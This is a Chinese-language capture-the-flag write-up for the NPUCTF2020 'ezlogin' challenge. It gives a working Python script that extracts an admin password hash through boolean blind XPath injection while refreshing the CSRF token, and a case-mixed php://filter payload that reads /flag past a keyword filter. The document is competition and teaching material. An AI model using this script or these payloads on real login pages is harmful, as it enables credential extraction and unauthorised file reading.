0x01
首页如上,是一个登录的页面,而且这个页面是有时间限制的,超过一定时间没登录就需要刷新页面重新登录。我们抓包看看
登录的时候一个session只能存在一定的时间,通过抓包的内容来看,这里要用到Xpath的知识点
关于Xpath参考
https://www.cnblogs.com/backlion/p/8554749.html
xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注。
这里使用大佬的脚本爆破
import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"
chars = string.ascii_letters+string.digits
def get_csrf():
res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
return re.findall('<input.*value="(.*?)"./>', res)[0]
target = 'string(/*[1]/*[1]/*[2]/*[3])'
data = '<username>{username}</username><password>1</password><token>{token}</token>'
result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Content-Type': 'application/xml',
'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):
for j in chars:
time.sleep(0.2)
temp_payload = payload.format(target=target, index=str(i), char=j)
token = get_csrf()
temp_data = data.format(username=temp_payload, token=token)
res = session.post(url=base_url+'login.php',
data=temp_data, headers=headers)
if len(res.text) == 5:
result += j
break
print(result)
通过爆破得知存在账号为adm1n,密码为cf7414b5bdb2e65ee43083f4ddbc4d9f的用户,密码通过md5解密得到为gtfly123,然后我们用这个账号登录进去
0x02
登录进去以后查看源代码,发现如下提示
猜测是base64加密,所以这里用base64解密
结果提示我们flag在 /flag中,告诉了我们路径,看来我们需要来读取文件了,到这里我们来看一下登陆进去后的url
这部是典型的文件读取协议么,那么我们尝试用php://filter伪协议来读取文件
payload
?file=pHp://filter/convert.bASe64-encode/resource=/flag
经过尝试,php和base进行了过滤,这里可以用大写来进行绕过
返回页面查看源码,如下图
猜测还是base64加密,我们用base64解密一下,解密结果如下
拿到flag
原文来自CSDN博主「怪味巧克力」|侵删
![[NPUCTF2020]ezlogin-解题步骤详解 [NPUCTF2020]ezlogin-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/5-1650360705.png)
![[NPUCTF2020]ezlogin-解题步骤详解 [NPUCTF2020]ezlogin-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/1-1650360707.png)
原文始发于微信公众号(寰宇卫士):[NPUCTF2020]ezlogin-解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论